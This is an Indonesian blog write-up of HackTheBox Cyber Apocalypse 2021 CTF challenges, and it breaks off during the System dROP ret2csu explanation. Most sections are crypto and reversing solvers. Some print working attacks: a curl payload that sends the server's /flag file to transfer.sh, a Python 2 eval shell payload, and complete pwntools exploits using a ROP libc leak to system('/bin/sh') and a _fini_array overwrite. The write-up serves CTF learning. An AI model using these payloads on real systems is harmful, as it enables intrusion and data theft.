Cyber Apocalypse - HackTheBox 2021 | Writeup

Halo. Postingan kedua nih xD. Kali ini ngebahas challenge yang berhasil penulis kerjakan pada event Cyber Apocalypse CTF - HackTheBox 2021.

Cyber Apocalypse - HackTheBox 2021

Warmup





Welcome! (25 points | 2144 solves)

Challenge Description:

Join our Discord Server and the CA-2021 channels…

Solution:
Terdapat flag di server HackTheBox pada channel #ca-2021-announcements
FLAG : CHTB{CA_CTF_i$_F*ing_EPIC}

Crypto





Nintendo Base64 (300 points | 1928 solves)

Challenge Description:

Aliens are trying to cause great misery for the human race by using our own cryptographic technology to encrypt all our games.
Fortunately, the aliens haven't played CryptoHack so they're making several noob mistakes. Therefore they've given us a chance to recover our games and find their flags.
They've tried to scramble data on an N64 but don't seem to understand that encoding and ASCII art are not valid types of encryption!
This challenge will raise 33 euros for a good cause.

[output.txt]:

            Vm                                                   0w               eE5GbFdWW         GhT            V0d4VVYwZ
            G9              XV                                   mx              yWk    ZOV       1JteD           BaV     WRH
                            YW                                   xa             c1              NsWl dS   M1   JQ WV       d4
S2RHVkljRm  Rp UjJoMlZrZH plRmRHV m5WaVJtUl hUVEZLZVZk   V1VrZFpWMU  pHVDFaV1Z  tSkdXazlXYW   twdl   Yx    Wm Fj  bHBFVWxWTlZ
Xdz     BWa 2M xVT     FSc  1d   uTl     hi R2h     XWW taS     1dG VXh     XbU ZTT     VdS elYy     cz     FWM    kY2VmtwV2
JU       RX dZ ak       Zr  U0   ZOc2JGWmlS a3       BY V1       d0 YV       lV MH       hj RVpYYlVaVFRWW  mF lV  mt       3V
lR       GV 01 ER       kh  Zak  5rVj   JFe VR       Ya Fdha   3BIV mpGU   2NtR kdX     bWx          oT   TB   KW VYxW   lNSM
Wx       XW kV kV       mJ  GWlRZ bXMxY2xWc 1V       sZ  FRiR1J5VjJ  0a1YySkdj   RVpWVmxKV           1V            GRTlQUT09

Yang buat ascii art nya niat wkwkwk.
Solution:
Ini sebenernya hanya string dari base64. Kita cukup me-remove whitespace(32) dan newline(10) yang ada pada string tersebut. Tapi ternyata, string ini di encode berulang-ulang, jadi kita harus membuat script yang dapat melakukan decode pada string tersebut dan akan berhenti saat menemukan string ‘CHTB’.
*Sebenernya ada sih toolsnya, tapi biar keren aja :u

import base64 as b64
from os import path
DIR = path.dirname(path.abspath(__file__))

cipher = open(DIR + "/output.txt","r").read()
cipher = cipher.replace("\n","").replace(" ","").encode()

plain = ""
while True:
    try:
        cipher = b64.b64decode(cipher)
        if b"CHTB" in cipher:
            plain = cipher.decode()
    except :
        break
print(plain)

FLAG : CHTB{3nc0d1ng_n0t_3qu4l_t0_3ncrypt10n}

PhaseStream 1 (300 points | 1217 solves)

Challenge Description:

The aliens are trying to build a secure cipher to encrypt all our games called "PhaseStream". They've heard that stream ciphers are pretty good. The aliens have learned of the XOR operation which is used to encrypt a plaintext with a key. They believe that XOR using a repeated 5-byte key is enough to build a strong stream cipher. Such silly aliens! Here's a flag they encrypted this way earlier. Can you decrypt it (hint: what's the flag format?) 2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904
This challenge will raise 33 euros for a good cause.

Ciphertext:

2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904

hmm… XOR menggunakan 5 byte key. deja vu? Sebelumnya penulis sudah pernah mencoba challenge seperti ini pada post sebelumnya (angstromCTF 2021 Writeup - Exclusive XOR). Intinya adalah mengambil potentialKey list yang kemudian akan di XOR dengan partial plaintext “CHTB{“, sehingga menghasilkan keyList. Dan keyList inilah yang akan kita gunakan untuk melakukan ranged bruteforce XOR terhadap cipher text.

from pwn import *
import binascii
import string

from pwnlib.util.fiddling import xor

def checkPrintable(checkThis): # must be string :3
    for x in checkThis:
        if x in string.printable:
            continue
        else:
            return False
    return True

cipher = "2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904"
cipher = binascii.unhexlify(cipher)
partial_plaintext = b"CHTB{"

potentialkeyList = []
for x in range(0, len(cipher)):
    xplus5 = x+5
    if xplus5 == len(cipher):
        break

    currentKey = cipher[x:xplus5]
    potentialkeyList.append(currentKey)


keyList = []
for currentKey in potentialkeyList:
    currentKey = xor(currentKey, partial_plaintext)
    keyList.append(currentKey)

for currentKey in keyList:
    plain = xor(currentKey, cipher).decode()
    if checkPrintable(plain) == True:
        # print("[!] Key   : ", currentKey) 
        print(plain) 
    
    # key : mykey
    # flag: CHTB{u51ng_kn0wn_pl41nt3xt}

FLAG : CHTB{u51ng_kn0wn_pl41nt3xt}

PhaseStream 2 (300 points | 919 solves)

Challenge Description:

The aliens have learned of a new concept called "security by obscurity". Fortunately for us they think it is a great idea and not a description of a common mistake. We've intercepted some alien comms and think they are XORing flags with a single-byte key and hiding the result inside 9999 lines of random data, Can you find the flag?
This challenge will raise 33 euros for a good cause.

Diberikan ciphertext didalam sebuah file yang berisikan 9999 ciphertext.
[challenge.txt]:

3cc60a255dd328130e4203bb42f3be22d2935dbe5d9ebf498ce2
44e4088c49ce3aea69832d3c0a6cd43443ab1865daab8eab0fdc
bc0e3b0b7a600d5ff319ba661f6a077b058f1bd73c2c8f646c78
...
...
...
...
c1f7002883a18da5b29eb425e7d46e709ed8ff760a885fbab3ec

Sedikit cerita, karena penulis ini sangat noob (serius gak boong :u). Awalnya penulis mencoba untuk melakukan bruteforce setiap string tersebut dengan setiap single byte pada ascii table. Bayangin aja.. 9999 string di xor sebanyak 256x, berapa dah tu hasilnya, gataudah :u. Berikut adalah output dari kebodohan penulis, sebuah text file yang berukuran lebih dari 200MB yang gabisa dibuka karena makan memory. wkwkwkwk
Sudah cukup dengan kebodohannya, namanya juga orang baru belajar >:(

Hasil Dump

Solution:
Yang harus kita lakukan adalah melakukan XOR partial known plaintext “CHTB{“ terhadap 9999 string tersebut, tetapi hanya sekali saja. Hal ini bertujuan untuk menemukan adanya bytes yang sama, yang diulang secara beruntun(dalam kasus ini 5x, sesuai dengan panjang known plaintext). Lalu bytes yang sudah kita temukan itu, akan kita gunakan untuk melakukan XOR terhadap ciphertext.

import binascii
from pwn import *
from os import path

DIR = path.dirname(path.abspath(__file__))

def repeatedBytes(checkThis):
    for currentByte in checkThis:
        counter = checkThis.count(currentByte)
        if counter >= 5: # length of known plaintext "CHTB{"
            return currentByte
    return -1

cipher = open(DIR + "/output.txt","r").read().split("\n")
partial_plaintext = b"CHTB{"

for x in range(len(cipher)):
    currentCipher = binascii.unhexlify(cipher[x])
    theKey = xor(currentCipher, partial_plaintext)

    theRealKey = repeatedBytes(theKey) # function repeatedBytes() will change this value, to the current byte
    if theRealKey != -1:
        plain = xor(currentCipher, theRealKey).decode()
        print(plain)
        break

FLAG : CHTB{n33dl3_1n_4_h4yst4ck}

PhaseStream 3 (300 points | 1217 solves)

Challenge Description:

The aliens have learned the stupidity of their misunderstanding of Kerckhoffs's principle. Now they're going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they'll happily give us poor humans the source because they're so confident it's secure!
This challenge will raise 33 euros for a good cause.

[phasestream.py]

from Crypto.Cipher import AES
from Crypto.Util import Counter
import os

KEY = os.urandom(16)

def encrypt(plaintext):
    cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128))
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()

test = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."
print(encrypt(test))

with open('flag.txt', 'rb') as f:
    flag = f.read().strip()
print(encrypt(flag))

[output.txt]

464851522838603926f4422a4ca6d81b02f351b454e6f968a324fcc77da30cf979eec57c8675de3bb92f6c21730607066226780a8d4539fcf67f9f5589d150a6c7867140b5a63de2971dc209f480c270882194f288167ed910b64cf627ea6392456fa1b648afd0b239b59652baedc595d4f87634cf7ec4262f8c9581d7f56dc6f836cfe696518ce434ef4616431d4d1b361c
4b6f25623a2d3b3833a8405557e7e83257d360a054c2ea

Solution:
Diberikan file phasestream.py(dapat diliat diatas) dan output.txt yang berisikan cipher. Pada file phasestream.py terdapat sebuah plaintext yang ternyata adalah plaintext dari salah satu ciphertext yang ada didalam file output.txt (Penulis mengasumsikan yang baris pertama). Jadi untuk mendapatkan plaintext dari flag, yang harus kita lakukan adalah, meng-XOR cipher_test dengan test, lalu hasil dari XOR tersebut kita XOR kembali dengan flag.

from pwn import *
import binascii

cipher_of_known_plaintext = "464851522838603926f4422a4ca6d81b02f351b454e6f968a324fcc77da30cf979eec57c8675de3bb92f6c21730607066226780a8d4539fcf67f9f5589d150a6c7867140b5a63de2971dc209f480c270882194f288167ed910b64cf627ea6392456fa1b648afd0b239b59652baedc595d4f87634cf7ec4262f8c9581d7f56dc6f836cfe696518ce434ef4616431d4d1b361c"
cipher_of_known_plaintext = binascii.unhexlify(cipher_of_known_plaintext)

cipher_of_flag = "4b6f25623a2d3b3833a8405557e7e83257d360a054c2ea"
cipher_of_flag = binascii.unhexlify(cipher_of_flag)

known_plaintext = b"No right of private conversation was enumerated in the Constitution. I don't suppose it occurred to anyone at the time that it could be prevented."

flag = xor( xor(cipher_of_known_plaintext, known_plaintext), cipher_of_flag)
flag = str(flag)[2:25] # comment this if u want to see the full string/bytes.
print(flag)

FLAG : CHTB{r3u53d_k3Y_4TT4cK}

SoulCrabber (300 points | 432 solves)

Challenge Description:

Aliens heard of this cool newer language called Rust, and hoped the safety it offers could be used to improve their stream cipher.
This challenge will raise 33 euros for a good cause.

[main.rs]

use rand::{Rng,SeedableRng};
use rand::rngs::StdRng;
use std::fs;
use std::io::Write;

fn get_rng() -> StdRng {
    let seed = 13371337;
    return StdRng::seed_from_u64(seed);
}

fn rand_xor(input : String) -> String {
    let mut rng = get_rng();
    return input
        .chars()
        .into_iter()
        .map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>())))
        .collect::<Vec<String>>()
        .join("");
}

fn main() -> std::io::Result<()> {
    let flag = fs::read_to_string("flag.txt")?;
    let xored = rand_xor(flag);
    println!("{}", xored);
    let mut file = fs::File::create("out.txt")?;
    file.write(xored.as_bytes())?;
    Ok(())
}

[out.txt]

1b591484db962f7782d1410afa4a388f7930067bcef6df546a57d9f873

Solution:
Diberikan main.rs sebagai program yang melakukan enkripsi terhadap flag dan out.txt adalah output dari program (main.rs) tersebut. Awalnya penulis iseng, untuk menjalankan program tersebut dengan flag dummy (CHTB{AAAABBBBCCCCDDDDEEEEFFF}).

dummy yang digunakan: CHTB{AAAABBBBCCCCDDDDEEEEFFF}
cipher_dummy: 1b591484dbba0b5bf3e17a17cb3d1dff65173046fac7aa4e4925aed273
cipher_flag:  1b591484db962f7782d1410afa4a388f7930067bcef6df546a57d9f873

Saat dilihat, awalan dari hex ciphertext_dummy dengan ciphertext_flag terlihat sama, yaitu: “1b591484db”. Hal ini menunjukkan, key yang digunakan selalu sama.

from pwn import *
from os import path
import binascii

# https://play.rust-lang.org/
DIR = path.dirname(path.abspath(__file__))

plain_dummy = b"CHTB{AAAABBBBCCCCDDDDEEEEFFF}" # flag dummy
dummy_cipher = "1b591484dbba0b5bf3e17a17cb3d1dff65173046fac7aa4e4925aed273"
dummy_cipher = binascii.unhexlify(dummy_cipher)

# 1b591484db962f7782d1410afa4a388f7930067bcef6df546a57d9f873
flag_cipher = open(DIR + "/out.txt", "r").readline()
flag_cipher = binascii.unhexlify(flag_cipher)

key = xor(dummy_cipher, plain_dummy)
flag = xor(flag_cipher, key)
print(flag.decode())

FLAG : CHTB{mem0ry_s4f3_crypt0_f41l}

Reversing





Authenticator (300 points | 988 solves)

Challenge Description:

We managed to steal one of the extraterrestrials' authenticator device. If we manage to understand how it works and get their credentials, we may be able to bypass all of their security locked doors and gain access everywhere!
This challenge will raise 33 euros for a good cause.

File Information

> file ./authenticator
authenticator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=66286657ca5a06147189b419238b2971b11c72db, not stripped

Penulis sudah mencoba strings ./authenticator, tetapi tidak ada yang menarik. Lalu penulis memutuskan untuk mendecompile binary tersebut.
Hasil Decompile - function main():

Hasil Decompile binary menggunakan Ghidra

Hasil Decompile - function checkpin():

Hasil Decompile binary menggunakan Ghidra

Solution:
Menarik.. function checkpin melakukan XOR dengan nilai 9, pada setiap karakter yang ada di string berikut:

}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:

Dan jika string yang kita input sesuai, maka kita berhasil login. Pertanyaannya string apakah ini? String ini adalah flag. Karena saat melakukan xor pada string ini dengan 9 (value 9, bukan string 9 yaa :u) muncul sebuah string 1337 yang bisa dibaca.

from pwn import *

cipher = "}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:"
pin = xor(cipher, 9)

# the pin is the flag, just wrap it with the flag format CHTF{the_pin}
print("CHTB{"+pin.decode()+"}")

FLAG : CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}

Passphrase (300 points | 1229 solves)

Challenge Description:

You found one of their space suits forgotten in a room. You wear it, but before you go away, a guard stops you and asks some questions..
This challenge will raise 33 euros for a good cause

File Information

> file ./authenticator
./passphrase: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=60f6b6064d2e34a2b6a24dda9feb943b0b8c360f, not stripped

Hasil Decompile - function main():

Hasil Decompile binary menggunakan Ghidra

Karakter-karakter berurut, yang bisa dibaca? Menarik.. I guess it was a flag and… it is :)
Solution:
Cukup mengambil karakter-karakter tersebut, rapihkan, lalu masukkan kedalam format flagnya. ‘CHTB{…}’.

FLAG : CHTB{3xtr4t3rR3stR14L5_VS_hum4n5}

Web





Inspector Gadget (300 points | 1929 solves)

Challenge Description:

Inspector Gadget was known for having a multitude of tools available for every occasion. Can you find them all?
This challenge will raise 33 euros for a good cause.

Solution:
Berburu flag dengan inspect element :u

Tampilan Awal:

Tampilan Awal

Flag ke-1:

Flag 1

Flag ke-2:

Flag 2

Flag ke-3:

Flag 3

FLAG : CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}

Caas (300 points | 797 solves)

Challenge Description:

cURL As A Service or CAAS is a brand new Alien application, built so that humans can test the status of their websites. However, it seems that the Aliens have not quite got the hang of Human programming and the application is riddled with issues.
This challenge will raise 43 euros for a good cause.

File Bisa didownload disini: [web_caas.zip]

Solution:
/web_caas/models/CommandModel.php

<?php
class CommandModel
{
    public function __construct($url)
    {
        $this->command = "curl -sL " . escapeshellcmd($url);
    }

    public function exec()
    {
        exec($this->command, $output);
        return $output;
    }
}

Pada file tersebut, dapat dilihat, bahwa request kita yaitu “url” akan dieksekusi host pada service curl. Karena terdapat function escapeshellcmd(), kita hanya bisa menggunakan 1 command saja, yaitu “curl” (karena dalam string tersebut sudah ada command “curl”). Dan string yang sudah digabungkan tadi akan dieksekusi dalam function exec(). Berdasarkan hasil penjelajahan dan berselancar (gaya banget kawkawkawk), curl dapat digunakan untuk mentransfer file. Dan penulis menemukan website transfer.sh yang dapat kita gunakan sebagai receiver curl transfer yang akan kita lakukan.

/web_caas/static/js/main.js

var input = document.getElementById('command');
var output = document.getElementById("console-output");

document.getElementById("command").addEventListener('keydown', (e) => {
  if (e.keyCode === 13) {

    let host = input.value;

    try {
      new URL(host);
    } catch {
      return output.innerHTML = "Illegal Characters Detected";
    }

    output.innerHTML = '';

    fetch('/api/curl', {
      method: 'POST',
      body: `ip=${host}`,
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      }
    })
    .then(resp => resp.json())
    .then(data => {
      output.innerHTML = data.message;
    });

    input.value = '';
  }
});

Tetapi masalahnya ada disini, saat kita menekan ENTER pada keyboard untuk mengirim request (menggunakan web yang diberikan) request kita tidak akan dilaksanakan :’). Jadi penulis memutuskan untuk langsung melakukan request ke API dari program tersebut: http://ipaddress:port/api/curl
Penulis menggunakan postman untuk melakukan request langsung ke API tersebut.

Payload:

https://transfer.sh/nama_file_yang_diinginkan -T /directory_file/file_yang_ingin_dikirim
=>
https://transfer.sh/vaints_was_here -T /flag 

Hasil Request menggunakan payload tersebut: Hasil Request

Response:

{"message":["https://transfer.sh/exNLy/vaints_was_here.txt"]}
=>
https://transfer.sh/exNLy/vaints_was_here.txt

Lalu tinggal buka deh output dari curl yang sudah kita lakukan tadi disini.

FLAG : CHTB{f1le_r3trieval_4s_a_s3rv1ce}

Misc





Alien Camp (300 points | 550 solves)

Challenge Description:

The Ministry of Galactic Defense now accepts human applicants for their specialised warrior unit, in exchange for their debt to be erased. We do not want to subject our people to this training and to be used as pawns in their little games. We need you to answer 500 of their questions to pass their test and take them down from the inside.

Netcat:

> nc 138.68.178.56 30423
Alien camp 👾

1. ❓
2. Take test!
> 1
Here is a little help:

🌞 -> 74 🍨 -> 66 ❌ -> 84 🍪 -> 96 🔥 -> 12 ⛔ -> 21 🍧 -> 58 👺 -> 64 👾 -> 48 🦄 -> 33 

1. ❓
2. Take test!
> 2

You must answer 500 questions. You have only a few seconds for each question! Be fast! ⏰

Question 1:

🦄 * 🌞  = ?

Answer: 22222

Time: 9.07
Too slow! 🐌

Solution:
Kita harus mendapatkan value dari masing-masing simbol terlebih dahulu, lalu melakukan test dengan menjawab pertanyaan dengan benar sebanyak 500 kali untuk mendapatkan flag.

#!/usr/bin/env python
from pwn import *
from os import path
import sys

from pwnlib.replacements import sleep

def solve(io):
    io.sendlineafter("> ", "1")
    io.recvuntil("Here is a little help:\n\n")
    sleep(3)
    receivedValue = io.recvline().strip().decode().split(" -> ")
    receivedValue = ("".join(receivedValue)).split(" ")

    theDictionary = {}
    for currentItem in receivedValue:
        currentSymbol = currentItem[0]
        currentValue = int(currentItem[1:])
        theDictionary[currentSymbol] = currentValue
    print(theDictionary)
    io.sendlineafter("> ", "2") # answer the test
    
    for x in range(500):
        io.recvuntil(":\n\n")
        theQuestion = io.recvline().strip().decode()[:-4]
        for currentSymbol in theDictionary:
            
            currentValue = theDictionary[currentSymbol]
            theQuestion = theQuestion.replace(currentSymbol, str(currentValue))
        theAnswer = eval(theQuestion)
        print("== Question {} ==".format(str(x).rjust(3, "0") ))
        print("[Q]",theQuestion)
        print("[A]",theAnswer)

        io.sendline(str(theAnswer))
    
    io.interactive()

if __name__ == "__main__":
    io = remote("188.166.172.13" ,30224)
    solve(io)
    sys.exit(0)

Output:

> python3 solve.py
...
...
== Question 495 ==
[Q] 44 + 40 - 54 * 40 * 95 + 43 
[A] -205073
== Question 496 ==
[Q] 84 - 54 
[A] 30
== Question 497 ==
[Q] 12 + 66 - 44 + 54 
[A] 88
== Question 498 ==
[Q] 66 + 54 * 84 - 66 + 12 
[A] 4548
== Question 499 ==
[Q] 44 * 12 
[A] 528
[*] Switching to interactive mode

Answer: 
Time: 0.23
Correct! ✔
Congratulations! 🎉
You are one of us now! 😎!
Here is a 🎁 for you: CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}

FLAG : CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}

Input as a Service (300 points | 535 solves)

Challenge Description:

In order to blend with the extraterrestrials, we need to talk and sound like them. Try some phrases in order to check if you can make them believe you are one of them.
This challenge will raise 33 euros for a good cause.

Netcat:

> nc 138.68.147.93 30064

2.7.18 (default, Apr 20 2020, 19:51:05) 
[GCC 9.2.0]
Do you sound like an alien?
>>> 
Vaints!

 Traceback (most recent call last):
  File "/app/input_as_a_service.py", line 16, in <module>
    main()
  File "/app/input_as_a_service.py", line 12, in main
    text = input(' ')
  File "<string>", line 1
    Vaints!
          ^
SyntaxError: unexpected EOF while parsing

Solution:
Input kita berada pada text = input(' '). Dan menggunakan python2. Berikut adalah dokumentasi input() pada python2.

python2 documentation

Input kita akan dieksekusi oleh eval. Jadi, kita bisa memanggil shell dengan bantuan library os pada python.
Payload:

__import__('os').system('/bin/sh')

Exploit:

> nc 138.68.147.93 30064
2.7.18 (default, Apr 20 2020, 19:51:05) 
[GCC 9.2.0]
Do you sound like an alien?
>>> 
__import__('os').system('/bin/sh')
>ls
cat
flag.txt
input_as_a_service.py
>cat flag.txt
CHTB{4li3n5_us3_pyth0n2.X?!}

FLAG : CHTB{4li3n5_us3_pyth0n2.X?!}

PWN





Controller (300 points | 265 solves)

Challenge Description:

The extraterrestrials have a special controller in order to manage and use our resources wisely, in order to produce state of the art technology gadgets and weapons for them. If we gain access to the controller's server, we can make them drain the minimum amount of resources or even stop them completeley. Take action fast!
This challenge will raise 33 euros for a good cause.

Diberikan 2 file yaitu [controller] dan [libc.so.6]
Binary Information:

phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/01Controller_SOLVED$ cs ./controller
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/01Controller_SOLVED/controller'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solution:

Hasil Decompile - function calculator():

Dapat dilihat, jika v4 atau nilai return dari function calc bernilai 65338 kita dapat melakukan input, yang dapat kita memicu buffer overflow. Setelah kita berhasil melakukan buffer overflow, yang penulis lakukan selanjutnya adalah melakukan leak address dari libc puts. Dilanjutkan dengan kalkulasi yang diakhiri dengan pemanggilan system(/bin/sh).

Hasil Decompile - function calc():

Disini penulis memanfaatkan opsi ketiga (perkalian), untuk membuat nilai return menjadi 65538.

#!/usr/bin/env python
from pwn import *
from os import path
import sys

from pwnlib.util.cyclic import cyclic_find

DIR = os.path.dirname(os.path.abspath(__file__))
TARGET=DIR+"/controller"
elf = ELF(TARGET)
libc = ELF(DIR+"/libc.so.6")

def intOverflow(io):
    overflow = str(2**64) # overflow with unsigned int
    satisfy = str(-65338)
    
    io.sendline(overflow)
    io.sendline(satisfy)
    
    # Choose multiplication
    io.sendline("3") # -1 * -65338 = 65338

def exploit(io):
    
    raw_input("Fire GDB")

    # Integer Overflow
    intOverflow(io)
    
    # ===================
    RIP_OFFSET = cyclic_find(0x6161616b) # 40
    PUTS_PLT = 0x400630
    PUTS_GOT = 0x601fb0
    MAIN_ADDRESS = 0x401124
    CALCULATOR_ADDRESS = 0x401066

    RET_GADGET = 0x400606
    POP_RDI = 0x4011d3

    p = b""
    p += b"A" * (RIP_OFFSET)
    p += p64(RET_GADGET)
    p += p64(POP_RDI)
    p += p64(PUTS_GOT)
    p += p64(PUTS_PLT)
    p += p64(RET_GADGET)
    p += p64(MAIN_ADDRESS)
    io.sendlineafter("> ", p)

    io.recvuntil("Problem ingored\n") # typo? XD. But still nice challenge tho.
    LEAKED_PUTS = io.recvline().strip()
    LEAKED_PUTS = u64(LEAKED_PUTS.ljust(8,b"\x00"))
    LIBC_BASE = LEAKED_PUTS - libc.sym.puts
    LIBC_SYSTEM = LIBC_BASE + 0x04f550 # LIBC_SYSTEM = LEAKED_PUTS - 0x31550
    LIBC_BIN_SH = LIBC_BASE + 0x1b3e1a # LIBC_BIN_SH = LEAKED_PUTS + 0x13337a

    log.info("LIBC Puts      : {}".format(hex(LEAKED_PUTS)))
    log.info("LIBC SYSTEM    : {}".format(hex(LIBC_SYSTEM)))
    log.info("LIBC BINSH     : {}".format(hex(LIBC_BIN_SH)))
    
    intOverflow(io)

    p = b""
    p += b"A" * (RIP_OFFSET)
    p += p64(RET_GADGET)
    p += p64(POP_RDI)
    p += p64(LIBC_BIN_SH)
    p += p64(LIBC_SYSTEM)

    io.sendline(p)
    io.interactive()


if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1]=="r":
        REMOTE = True
        io = remote("138.68.177.159", 32579)
    else:
        LOCAL = True
        io = process([TARGET,])
    exploit(io)
    sys.exit(0)


Exploit:

FLAG : CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}

Minefield (325 points | 167 solves)

Challenge Description:

We found one of the core power plants that drain all of our resources. One member of our team is an expert at mines. Plant the correct type of mine at the correct location to blow up the entire power plant, but be careful, otherwise we are all doomed!
This challenge will raise 33 euros for a good cause.

Diberikan file [minefield]
Binary Information:

phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/02Minefield_SOLVED$ cs ./minefield 
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/02Minefield_SOLVED/minefield'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solution:
No RELRO? Uhuyyy..

Hasil Decompile - function menu():

Hasil Decompile - function choice():

Hasil Decompile - function mission():

Pertama, kita harus memilih 2(“Yes, I am ready”), agar program tidak exit (function choice). Lalu overwrite function address yang dilewati / yang dipanggil menjadi win address (0x40096b). Saat mengerjakan ini, penulis stuck disini sampai akhirnya mendapatkan “bantuan” dari seseorang. Makasih banyak bang.. Matur nuwun..

Setelah penulis pahami, _fini_array atau _fini akan dipanggil paling terakhir.

Jadi kita bisa overwrite address dari _fini atau _fini_array (0x601078) menjadi function win (_).

#!/usr/bin/env python
from pwn import *
from os import path
import sys

from pwnlib.util.cyclic import cyclic_find

DIR = os.path.dirname(os.path.abspath(__file__))
TARGET=DIR+"/minefield"
# context.log_level = "warn"

def exploit(io):
    _fini_array = 0x601078  # _fini_array
    WIN_FUNCTION = 0x40096b # _
    # the idea here, is to overwrite an "address" 
    # in this case, I will overwrite the address of _fini_array 
    # and change it to the win function.

    # I'm always ready
    # IKUZOOO TEMERAAA, lol xD
    io.sendlineafter("> ", "2")

    io.sendline(str(hex(_fini_array))) # overwrite this address
    io.sendline(str(hex(WIN_FUNCTION))) # to this address

    # WAIT, THAT'S ALL? IT'S SO EZ??!!!
    # I don't think so, it took me 2 days to realize it xDD
    io.recvuntil("Mission accomplished! ✔")
    print(io.recvline().decode()) # flag
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1]=="r":
        REMOTE = True
        io = remote("165.227.231.75", 30694)
    else:
        LOCAL = True
        io = process([TARGET,])
    exploit(io)
    sys.exit(0)

Exploit:

phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/02Minefield_SOLVED$ python3 solve.py r
[+] Opening connection to 138.68.148.149 on port 30181: Done


[*] Switching to interactive mode
CHTB{d3struct0r5_m1n3f13ld}[*] Got EOF while reading in interactive
$  

FLAG : CHTB{d3struct0r5_m1n3f13ld}

System dROP (325 points | 141 solves)

Challenge Description:

In the dark night, we managed to sneak in the plant that manages all the resources. Ready to deploy our root-kit and stop this endless draining of our planet, we accidentally triggered the alarm! Acid started raining from the ceiling, destroying almost everything but us and small terminal-like console. We can see no output, but it still seems to work, somehow..
This challenge will raise 33 euros for a good cause.

Diberikan file [system_drop]
Binary Information:

phobos@PH0bo5:~/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED$ cs system_drop 
[*] '/home/phobos/Documents/ctf/cyberApocalypse-HackTheBox/pwn/03System_dROP_SOLVED/system_drop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solution:
dROP? ROP? humm…
Jujur saja, ini adalah pertama kali penulis menemukan challenge seperti ini (ret2csu). Mohon dimaklumi, saya noob pak. xixixi.

Hasil decompile - function main():

$ gdb ./system_drop 

warning: /home/phobos/pwndbg/gdbinit.py: No such file or directory
Reading symbols from ./system_drop...(no debugging symbols found)...done.
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> info functions 
All defined functions:

Non-debugging symbols:
0x0000000000400400  _init
0x0000000000400430  alarm@plt
0x0000000000400440  read@plt
0x0000000000400450  _start
0x0000000000400480  _dl_relocate_static_pie
0x0000000000400490  deregister_tm_clones
0x00000000004004c0  register_tm_clones
0x0000000000400500  __do_global_dtors_aux
0x0000000000400530  frame_dummy
0x0000000000400537  _syscall
0x0000000000400541  main
0x0000000000400570  __libc_csu_init
0x00000000004005e0  __libc_csu_fini
0x00000000004005e4  _fini
pwndbg> x/3i _syscall 
   0x400537 <_syscall>: push   rbp
   0x400538 <_syscall+1>:   mov    rbp,rsp
   0x40053b <_syscall+4>:   syscall 
pwndbg> 

Yayy.. kita punya syscall, jadi kemungkinan soal ini memanfaatkan gadget syscall (0x40053b). Sebenarnya untuk memanfaatkan syscall kita sudah mempunyai 2 gadget yang bisa kita manfaatkan yaitu, pop rdi; ret; dan pop rsi; pop r15; ret;. Tetapi kita kekurang 1 gadget, yaitu untuk mengontrol rdx. Maka dari itu, kita akan memanfaatkan gadget yang ada pada __libc_csu_init untuk mengontrol rdx, bahkan rax (walau tidak bisa langsung).

Gadget ini akan digunakan untuk mengambil value dari input kita yang ada didalam stack.

    0x00000000004005ca <+90>:    pop    rbx
    0x00000000004005cb <+91>:    pop    rbp
    0x00000000004005cc <+92>:    pop    r12
    0x00000000004005ce <+94>:    pop    r13
    0x00000000004005d0 <+96>:    pop    r14
    0x00000000004005d2 <+98>:    pop    r15
    0x00000000004005d4 <+100>:   ret

Gadget ini akan memindahkan/menetapkan (mov) value dari suatu register ke register lain.
rdx = r15, rsi = r14, edi = r13d, sedangkan address yang ada pada r12 adalah address yang akan dipanggil.

    0x00000000004005b0 <+64>:    mov    rdx,r15
    0x00000000004005b3 <+67>:    mov    rsi,r14
    0x00000000004005b6 <+70>:    mov    edi,r13d
    0x00000000004005b9 <+73>:    call   QWORD PTR [r12+rbx*8]

